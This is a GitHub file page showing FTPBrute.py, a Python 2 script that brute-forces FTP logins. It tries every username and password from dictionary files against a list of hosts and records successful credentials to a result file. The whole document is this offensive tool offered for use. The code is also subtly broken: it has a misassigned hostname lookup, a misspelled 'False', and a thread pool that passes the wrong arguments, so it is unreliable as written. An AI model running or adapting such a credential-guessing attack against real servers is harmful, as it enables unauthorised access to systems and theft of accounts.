-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFTPBrute.py
79 lines (64 loc) · 2.3 KB
/
FTPBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import ftplib
import sys
import os
import optparse
from threading import Thread
from multiprocessing import Pool as ThreadPool
def bruteLoginFunc(ListFile):
hostFileName=ListFile[0]
userFileName=ListFile[1]
passwdFileName=ListFile[2]
ResultFile=str(hostFileName)+"_result.txt"
ResultFileFp=open(ResultFile,"w")
with open(hostFileName,"r") as hostFileNameFp:
for hostline in hostFileNameFp:
hostname=hostline.split()[0]
try:
hostip=gethostbyname=(hostname)
except Exception, e:
continue
EveryHostFlag=falase
#try every user
with open(userFileName,"r") as userFileNameFp:
for userline in userFileNameFp:
if EveryHostFlag==False:
username=userline.split()[0]
#try everypassword
with open(passwdFileName,"r") as passwdFileNameFp:
for passwd in passwdFileNameFp:
password=passwd.split()[0]
try:
ftp=ftplib.FTP(hostip)
ftp.login(username,password)
print '\n[+] '+str(hostip)+' FTP Logon Succeeded: '+username+'/'+password
ResultFileFp.writelines(str("[+] IP:")+hostip+":"+username+"/"+password+"\n")
EveryHostFlag=True
except Exception, e:
pass
else:
break
#close Fp
ResultFileFp.close()
def main():
parser=optparse.OptionParser('usage:%prog --HF <target host file> --UF <username dict file> --PF <password dict file> -t <brute threads>')
parser.add_option('--HF',dest='BruteHostFile',type='string',help='specify the brute host file')
parser.add_option('--UF',dest='BruteUserFile',type='string',help='specify the brute username file')
parser.add_option('--PF',dest='BrutePwdFile',type='string',help='specify the brute password file')
parser.add_option('-t',dest='BruteThead',type='string',help='specify the thread to brute')
(options,args)=parser.parse_args()
bruteHostFile=options.BruteHostFile
bruteUserFile=options.BruteUserFile
brutePwdFile=options.BrutePwdFile
bruteThread=options.BruteThead
if bruteHostFile==None or bruteUserFile==None or brutePwdFile==None or bruteThread==None:
print parser.usage
exit(0)
pool =ThreadPool(int(bruteThread))
print 'Scanning......'
files=[bruteHostFile,bruteUserFile,brutePwdFile]
pool.map(bruteLoginFunc,files)
pool.close()
if __name__ == '__main__':
main()